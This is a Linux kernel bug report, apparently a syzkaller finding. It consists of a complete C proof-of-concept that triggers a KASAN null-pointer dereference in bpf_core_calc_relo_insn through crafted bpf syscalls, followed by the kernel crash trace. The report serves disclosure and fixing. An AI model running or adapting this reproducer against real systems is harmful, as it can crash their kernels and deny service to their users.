KASAN: null-ptr-deref in bpf_core_calc_relo_insn

[Liu RuiTong <cnitlrt@xxxxxxxxx>]

https://bugzilla.kernel.org/show_bug.cgi?id=219181#c0
Hello,I found a bug in the Linux kernel version 6.11.0-rc4 using syzkaller.
The poc file is
```
//gcc poc.c -o poc --static
#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#include <linux/futex.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

static void sleep_ms(uint64_t ms)
{
    usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
    struct timespec ts;
    if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
    return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void* (*fn)(void*), void* arg)
{
    pthread_t th;
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr, 128 << 10);
    int i = 0;
    for (; i < 100; i++) {
        if (pthread_create(&th, &attr, fn, arg) == 0) {
            pthread_attr_destroy(&attr);
            return;
        }
        if (errno == EAGAIN) {
            usleep(50);
            continue;
        }
        break;
    }
    exit(1);
}

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len)
*(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off),
(bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off),
(bf_len))))

typedef struct {
    int state;
} event_t;

static void event_init(event_t* ev)
{
    ev->state = 0;
}

static void event_reset(event_t* ev)
{
    ev->state = 0;
}

static void event_set(event_t* ev)
{
    if (ev->state)
    exit(1);
    __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
    syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
    while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
        syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t* ev)
{
    return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
    uint64_t start = current_time_ms();
    uint64_t now = start;
    for (;;) {
        uint64_t remain = timeout - (now - start);
        struct timespec ts;
        ts.tv_sec = remain / 1000;
        ts.tv_nsec = (remain % 1000) * 1000 * 1000;
        syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
        if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
            return 1;
        now = current_time_ms();
        if (now - start > timeout)
            return 0;
    }
}

struct thread_t {
    int created, call;
    event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
    struct thread_t* th = (struct thread_t*)arg;
    for (;;) {
        event_wait(&th->ready);
        event_reset(&th->ready);
        execute_call(th->call);
        __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
        event_set(&th->done);
    }
    return 0;
}

static void loop(void)
{
    if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
    }
    int i, call, thread;
    for (call = 0; call < 3; call++) {
        for (thread = 0; thread < (int)(sizeof(threads) /
sizeof(threads[0])); thread++) {
            struct thread_t* th = &threads[thread];
            if (!th->created) {
                th->created = 1;
                event_init(&th->ready);
                event_init(&th->done);
                event_set(&th->done);
                thread_start(thr, th);
            }
            if (!event_isset(&th->done))
                continue;
            event_reset(&th->done);
            th->call = call;
            __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
            event_set(&th->ready);
            if (call == 1)
                break;
            event_timedwait(&th->done, 50);
            break;
        }
    }
    for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
        sleep_ms(1);
}

uint64_t r[1] = {0xffffffffffffffff};

void execute_call(int call)
{
        intptr_t res = 0;
    switch (call) {
    case 0:
*(uint64_t*)0x20004e40 = 0x20004c80;
*(uint16_t*)0x20004c80 = 0xeb9f;
*(uint8_t*)0x20004c82 = 1;
*(uint8_t*)0x20004c83 = 0;
*(uint32_t*)0x20004c84 = 0x18;
*(uint32_t*)0x20004c88 = 0;
*(uint32_t*)0x20004c8c = 0xc;
*(uint32_t*)0x20004c90 = 0xc;
*(uint32_t*)0x20004c94 = 0xa;
*(uint32_t*)0x20004c98 = 8;
*(uint16_t*)0x20004c9c = 0;
*(uint8_t*)0x20004c9e = 0;
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 5, 0, 7);
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 0, 7, 1);
*(uint32_t*)0x20004ca0 = 6;
*(uint8_t*)0x20004ca4 = 0;
*(uint8_t*)0x20004ca5 = 0x30;
*(uint8_t*)0x20004ca6 = 0;
*(uint8_t*)0x20004ca7 = 0x30;
*(uint8_t*)0x20004ca8 = 0x61;
*(uint8_t*)0x20004ca9 = 0x1e;
*(uint8_t*)0x20004caa = 0x2f;
*(uint8_t*)0x20004cab = 0x30;
*(uint8_t*)0x20004cac = 0x2e;
*(uint8_t*)0x20004cad = 0;
*(uint64_t*)0x20004e48 = 0;
*(uint32_t*)0x20004e50 = 0x2e;
*(uint32_t*)0x20004e54 = 0;
*(uint32_t*)0x20004e58 = 1;
*(uint32_t*)0x20004e5c = 0x40;
        res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x20004e40ul,
/*size=*/0x20ul);
        if (res != -1)
                r[0] = res;
        break;
    case 1:
*(uint32_t*)0x20000480 = 6;
*(uint32_t*)0x20000484 = 0x27;
*(uint64_t*)0x20000488 = 0x20000d40;
*(uint8_t*)0x20000d40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 4, 4);
*(uint16_t*)0x20000d42 = 0;
*(uint32_t*)0x20000d44 = 8;
*(uint8_t*)0x20000d48 = 0;
*(uint8_t*)0x20000d49 = 0;
*(uint16_t*)0x20000d4a = 0;
*(uint32_t*)0x20000d4c = 7;
*(uint8_t*)0x20000d50 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 4, 4);
*(uint16_t*)0x20000d52 = 0;
*(uint32_t*)0x20000d54 = -1;
*(uint8_t*)0x20000d58 = 0;
*(uint8_t*)0x20000d59 = 0;
*(uint16_t*)0x20000d5a = 0;
*(uint32_t*)0x20000d5c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 0, 4, 4);
*(uint16_t*)0x20000d62 = 0;
*(uint32_t*)0x20000d64 = 0x14;
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 0, 4, 4);
*(uint16_t*)0x20000d6a = 0;
*(uint32_t*)0x20000d6c = 0;
*(uint8_t*)0x20000d70 = 0x85;
*(uint8_t*)0x20000d71 = 0;
*(uint16_t*)0x20000d72 = 0;
*(uint32_t*)0x20000d74 = 0x83;
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 0, 4, 4);
*(uint16_t*)0x20000d7a = 0;
*(uint32_t*)0x20000d7c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 0, 4, 4);
*(uint16_t*)0x20000d82 = 1;
*(uint32_t*)0x20000d84 = 0;
*(uint8_t*)0x20000d88 = 0x95;
*(uint8_t*)0x20000d89 = 0;
*(uint16_t*)0x20000d8a = 0;
*(uint32_t*)0x20000d8c = 0;
*(uint8_t*)0x20000d90 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 4, 4);
*(uint16_t*)0x20000d92 = 0;
*(uint32_t*)0x20000d94 = -1;
*(uint8_t*)0x20000d98 = 0;
*(uint8_t*)0x20000d99 = 0;
*(uint16_t*)0x20000d9a = 0;
*(uint32_t*)0x20000d9c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 0, 4, 4);
*(uint16_t*)0x20000da2 = 0;
*(uint32_t*)0x20000da4 = 0;
*(uint8_t*)0x20000da8 = 0x85;
*(uint8_t*)0x20000da9 = 0;
*(uint16_t*)0x20000daa = 0;
*(uint32_t*)0x20000dac = 0x86;
*(uint8_t*)0x20000db0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 0, 4, 4);
*(uint16_t*)0x20000db2 = 0;
*(uint32_t*)0x20000db4 = 0x25702020;
*(uint8_t*)0x20000db8 = 0;
*(uint8_t*)0x20000db9 = 0;
*(uint16_t*)0x20000dba = 0;
*(uint32_t*)0x20000dbc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 1, 4, 4);
*(uint16_t*)0x20000dc2 = 0xfff8;
*(uint32_t*)0x20000dc4 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 0xa, 4, 4);
*(uint16_t*)0x20000dca = 0;
*(uint32_t*)0x20000dcc = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 0, 4, 4);
*(uint16_t*)0x20000dd2 = 0;
*(uint32_t*)0x20000dd4 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 0, 4, 4);
*(uint16_t*)0x20000dda = 0;
*(uint32_t*)0x20000ddc = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 0, 4, 4);
*(uint16_t*)0x20000de2 = 0;
*(uint32_t*)0x20000de4 = 0xffff;
*(uint8_t*)0x20000de8 = 0x85;
*(uint8_t*)0x20000de9 = 0;
*(uint16_t*)0x20000dea = 0;
*(uint32_t*)0x20000dec = 6;
*(uint8_t*)0x20000df0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 0, 4, 4);
*(uint16_t*)0x20000df2 = 0;
*(uint32_t*)0x20000df4 = 0x256c6c64;
*(uint8_t*)0x20000df8 = 0;
*(uint8_t*)0x20000df9 = 0;
*(uint16_t*)0x20000dfa = 0;
*(uint32_t*)0x20000dfc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 1, 4, 4);
*(uint16_t*)0x20000e02 = 0xfff8;
*(uint32_t*)0x20000e04 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 0xa, 4, 4);
*(uint16_t*)0x20000e0a = 0;
*(uint32_t*)0x20000e0c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 0, 4, 4);
*(uint16_t*)0x20000e12 = 0;
*(uint32_t*)0x20000e14 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 0, 4, 4);
*(uint16_t*)0x20000e1a = 0;
*(uint32_t*)0x20000e1c = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 0, 4, 4);
*(uint16_t*)0x20000e22 = 0;
*(uint32_t*)0x20000e24 = 7;
*(uint8_t*)0x20000e28 = 0x85;
*(uint8_t*)0x20000e29 = 0;
*(uint16_t*)0x20000e2a = 0;
*(uint32_t*)0x20000e2c = 6;
*(uint8_t*)0x20000e30 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 8, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 5, 4, 4);
*(uint16_t*)0x20000e32 = 0;
*(uint32_t*)0x20000e34 = 1;
*(uint8_t*)0x20000e38 = 0;
*(uint8_t*)0x20000e39 = 0;
*(uint16_t*)0x20000e3a = 0;
*(uint32_t*)0x20000e3c = 0;
*(uint8_t*)0x20000e40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 4, 4);
*(uint16_t*)0x20000e42 = 0;
*(uint32_t*)0x20000e44 = 4;
*(uint8_t*)0x20000e48 = 0;
*(uint8_t*)0x20000e49 = 0;
*(uint16_t*)0x20000e4a = 0;
*(uint32_t*)0x20000e4c = 0xfffffffb;
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 9, 4, 4);
*(uint16_t*)0x20000e52 = 0;
*(uint32_t*)0x20000e54 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 0, 4, 4);
*(uint16_t*)0x20000e5a = 0;
*(uint32_t*)0x20000e5c = 0;
*(uint8_t*)0x20000e60 = 0x85;
*(uint8_t*)0x20000e61 = 0;
*(uint16_t*)0x20000e62 = 0;
*(uint32_t*)0x20000e64 = 0x84;
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 4, 4);
*(uint16_t*)0x20000e6a = 0;
*(uint32_t*)0x20000e6c = 0;
*(uint8_t*)0x20000e70 = 0x95;
*(uint8_t*)0x20000e71 = 0;
*(uint16_t*)0x20000e72 = 0;
*(uint32_t*)0x20000e74 = 0;
*(uint64_t*)0x20000490 = 0x20000040;
memcpy((void*)0x20000040, "GPL\000", 4);
*(uint32_t*)0x20000498 = 0xb;
*(uint32_t*)0x2000049c = 0xc0;
*(uint64_t*)0x200004a0 = 0x20000c80;
*(uint32_t*)0x200004a8 = 0x41100;
*(uint32_t*)0x200004ac = 0x38;
memset((void*)0x200004b0, 0, 16);
*(uint32_t*)0x200004c0 = 0;
*(uint32_t*)0x200004c4 = 0x25;
*(uint32_t*)0x200004c8 = r[0];
*(uint32_t*)0x200004cc = 8;
*(uint64_t*)0x200004d0 = 0;
*(uint32_t*)0x200004d8 = 0;
*(uint32_t*)0x200004dc = 0x10;
*(uint64_t*)0x200004e0 = 0x200002c0;
*(uint32_t*)0x200002c0 = 0;
*(uint32_t*)0x200002c4 = 0;
*(uint32_t*)0x200002c8 = 0;
*(uint32_t*)0x200002cc = 9;
*(uint32_t*)0x200004e8 = 1;
*(uint32_t*)0x200004ec = 0;
*(uint32_t*)0x200004f0 = 0;
*(uint32_t*)0x200004f4 = 9;
*(uint64_t*)0x200004f8 = 0x20000380;
*(uint32_t*)0x20000380 = -1;
*(uint32_t*)0x20000384 = -1;
*(uint32_t*)0x20000388 = -1;
*(uint64_t*)0x20000500 = 0x200003c0;
*(uint32_t*)0x200003c0 = 1;
*(uint32_t*)0x200003c4 = 4;
*(uint32_t*)0x200003c8 = 0xb;
*(uint32_t*)0x200003cc = 6;
*(uint32_t*)0x200003d0 = 2;
*(uint32_t*)0x200003d4 = 2;
*(uint32_t*)0x200003d8 = 1;
*(uint32_t*)0x200003dc = 0;
*(uint32_t*)0x200003e0 = 5;
*(uint32_t*)0x200003e4 = 4;
*(uint32_t*)0x200003e8 = 0xe;
*(uint32_t*)0x200003ec = 0xb;
*(uint32_t*)0x200003f0 = 2;
*(uint32_t*)0x200003f4 = 0x1000003;
*(uint32_t*)0x200003f8 = 2;
*(uint32_t*)0x200003fc = 3;
*(uint32_t*)0x20000400 = 2;
*(uint32_t*)0x20000404 = 5;
*(uint32_t*)0x20000408 = 0xa;
*(uint32_t*)0x2000040c = 5;
*(uint32_t*)0x20000410 = 3;
*(uint32_t*)0x20000414 = 1;
*(uint32_t*)0x20000418 = 0xa;
*(uint32_t*)0x2000041c = 3;
*(uint32_t*)0x20000420 = 3;
*(uint32_t*)0x20000424 = 3;
*(uint32_t*)0x20000428 = 5;
*(uint32_t*)0x2000042c = 8;
*(uint32_t*)0x20000430 = 3;
*(uint32_t*)0x20000434 = 1;
*(uint32_t*)0x20000438 = 5;
*(uint32_t*)0x2000043c = 5;
*(uint32_t*)0x20000440 = 0;
*(uint32_t*)0x20000444 = 2;
*(uint32_t*)0x20000448 = 0;
*(uint32_t*)0x2000044c = 7;
*(uint32_t*)0x20000508 = 0x10;
*(uint32_t*)0x2000050c = 0x10000;
        syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x20000480ul, /*size=*/0x90ul);
        break;
    case 2:
*(uint32_t*)0x20000440 = -1;
*(uint64_t*)0x20000448 = 0x200003c0;
*(uint32_t*)0x200003c0 = 0;
*(uint64_t*)0x20000450 = 0;
*(uint64_t*)0x20000458 = 0;
        syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x20000440ul, /*size=*/0x20ul);
        break;
    }

}
int main(void)
{
        syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul,
/*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/-1, /*offset=*/0ul);
    syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1,
/*offset=*/0ul);
    syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul,
/*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/-1, /*offset=*/0ul);
    const char* reason;
    (void)reason;
            loop();
    return 0;
}
```
And here is the crash information
```
[   89.482115] Oops: general protection fault, probably for
non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN
PTI
[   89.482639] KASAN: null-ptr-deref in range
[0x0000000000000000-0x0000000000000007]
[   89.482979] CPU: 1 UID: 0 PID: 214 Comm: test Not tainted 6.11.0-rc4 #1
[   89.483276] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.15.0-1 04/01/2014
[   89.483632] RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90
[   89.483885] Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89
f6 e8 96 a5 f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48
c1 ea 03 <0f> b6 14c
[   89.484686] RSP: 0018:ffff888108f373d0 EFLAGS: 00010246
[   89.484924] RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c8b8b
[   89.485247] RDX: 0000000000000000 RSI: ffffffff816c8bea RDI: 0000000000000004
[   89.485563] RBP: ffff888108f376c0 R08: ffff888108f37778 R09: ffff88810991c000
[   89.485880] R10: 0000000000000004 R11: ffff888103ab1c90 R12: 0000000000000000
[   89.486197] R13: ffff888103ddfe00 R14: 0000000000000004 R15: ffff88810991c000
[   89.486514] FS:  00007f94a2d15640(0000) GS:ffff8881f7100000(0000)
knlGS:0000000000000000
[   89.486874] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   89.487128] CR2: 0000000020000480 CR3: 0000000106058000 CR4: 00000000003006f0
[   89.487439] Call Trace:
[   89.487553]  <TASK>
[   89.487654]  ? show_regs+0x93/0xa0
[   89.487815]  ? die_addr+0x50/0xd0
[   89.487972]  ? exc_general_protection+0x19f/0x320
[   89.488185]  ? asm_exc_general_protection+0x26/0x30
[   89.488405]  ? btf_type_by_id+0xeb/0x1a0
[   89.488584]  ? btf_type_by_id+0x14a/0x1a0
[   89.488766]  ? bpf_core_calc_relo_insn+0x11e/0x1e90
[   89.488989]  ? __printk_safe_exit+0x9/0x20
[   89.489175]  ? stack_depot_save_flags+0x616/0x7c0
[   89.489392]  ? bpf_prog_load+0x151c/0x2450
[   89.489594]  ? kasan_save_stack+0x34/0x50
[   89.489792]  ? kasan_save_stack+0x24/0x50
[   89.489987]  ? __pfx_bpf_core_calc_relo_insn+0x10/0x10
[   89.490231]  ? bpf_check+0x6744/0xba00
[   89.490415]  ? bpf_prog_load+0x151c/0x2450
[   89.490612]  ? __sys_bpf+0x12be/0x5290
[   89.490795]  ? __x64_sys_bpf+0x78/0xc0
[   89.490979]  ? do_syscall_64+0xa6/0x1a0
[   89.491167]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   89.491417]  ? __pfx_vsnprintf+0x10/0x10
[   89.491611]  ? sort_r+0x45/0x5f0
[   89.491774]  ? _copy_to_user+0x77/0x90
[   89.491954]  ? bpf_verifier_vlog+0x25b/0x690
[   89.492150]  ? __pfx_sort+0x10/0x10
[   89.492314]  ? verbose+0xde/0x170
[   89.492470]  ? kasan_unpoison+0x27/0x60
[   89.492648]  ? __kasan_slab_alloc+0x30/0x70
[   89.492837]  ? __kmalloc_cache_noprof+0xf0/0x270
[   89.493050]  bpf_core_apply+0x48b/0xaf0
[   89.493228]  ? btf_name_by_offset+0x13a/0x180
[   89.493431]  ? __pfx_bpf_core_apply+0x10/0x10
[   89.493631]  ? __pfx_check_btf_line+0x10/0x10
[   89.493830]  ? bpf_check_uarg_tail_zero+0x142/0x1c0
[   89.494051]  ? __pfx_bpf_check_uarg_tail_zero+0x10/0x10
[   89.494286]  bpf_check+0x6744/0xba00
[   89.494458]  ? kasan_save_stack+0x34/0x50
[   89.494653]  ? kasan_save_stack+0x24/0x50
[   89.494848]  ? kasan_save_track+0x14/0x30
[   89.495039]  ? __kasan_kmalloc+0x7f/0x90
[   89.495232]  ? __pfx_bpf_check+0x10/0x10
[   89.495426]  ? pcpu_chunk_relocate+0x145/0x1c0
[   89.495640]  ? mutex_unlock+0x7e/0xd0
[   89.495820]  ? kasan_unpoison+0x27/0x60
[   89.496008]  ? __kasan_slab_alloc+0x30/0x70
[   89.496208]  ? __kmalloc_cache_noprof+0xf0/0x270
[   89.496430]  ? kasan_save_track+0x14/0x30
[   89.496622]  ? __kasan_kmalloc+0x7f/0x90
[   89.496810]  ? selinux_bpf_prog_load+0x15b/0x1c0
[   89.497024]  bpf_prog_load+0x151c/0x2450
[   89.497206]  ? __pfx_bpf_prog_load+0x10/0x10
[   89.497405]  ? avc_has_perm+0x175/0x2f0
[   89.497585]  ? __pte_offset_map+0x12f/0x1f0
[   89.497774]  ? bpf_check_uarg_tail_zero+0x142/0x1c0
[   89.497994]  ? selinux_bpf+0xdd/0x120
[   89.498163]  ? security_bpf+0x8d/0xb0
[   89.498333]  __sys_bpf+0x12be/0x5290
[   89.498500]  ? folio_add_lru+0x58/0x80
[   89.498675]  ? __pfx___sys_bpf+0x10/0x10
[   89.498855]  ? __pfx_down_read_trylock+0x10/0x10
[   89.499069]  ? __pfx___handle_mm_fault+0x10/0x10
[   89.499283]  ? do_user_addr_fault+0x595/0x1220
[   89.499524]  __x64_sys_bpf+0x78/0xc0
[   89.499738]  ? exc_page_fault+0xae/0x180
[   89.499928]  do_syscall_64+0xa6/0x1a0
[   89.500109]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   89.500361] RIP: 0033:0x44ceed
[   89.500512] Code: c3 e8 d7 1e 00 00 0f 1f 80 00 00 00 00 f3 0f 1e
fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24
08 0f 05 <48> 3d 018
[   89.501348] RSP: 002b:00007f94a2d15178 EFLAGS: 00000287 ORIG_RAX:
0000000000000141
[   89.501695] RAX: ffffffffffffffda RBX: 00007f94a2d15640 RCX: 000000000044ceed
[   89.502013] RDX: 0000000000000090 RSI: 0000000020000480 RDI: 0000000000000005
[   89.502323] RBP: 00007f94a2d151a0 R08: 0000000000000000 R09: 0000000000000000
[   89.502635] R10: 0000000000000000 R11: 0000000000000287 R12: 00007f94a2d15640
[   89.502949] R13: 0000000000000000 R14: 00000000004160d0 R15: 00007f94a2cf5000
[   89.503269]  </TASK>
[   89.503376] Modules linked in:
[   89.503586] ---[ end trace 0000000000000000 ]---
[   89.503793] RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90
[   89.504045] Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89
f6 e8 96 a5 f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48
c1 ea 03 <0f> b6 14c
[   89.504860] RSP: 0018:ffff888108f373d0 EFLAGS: 00010246
[   89.505112] RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c8b8b
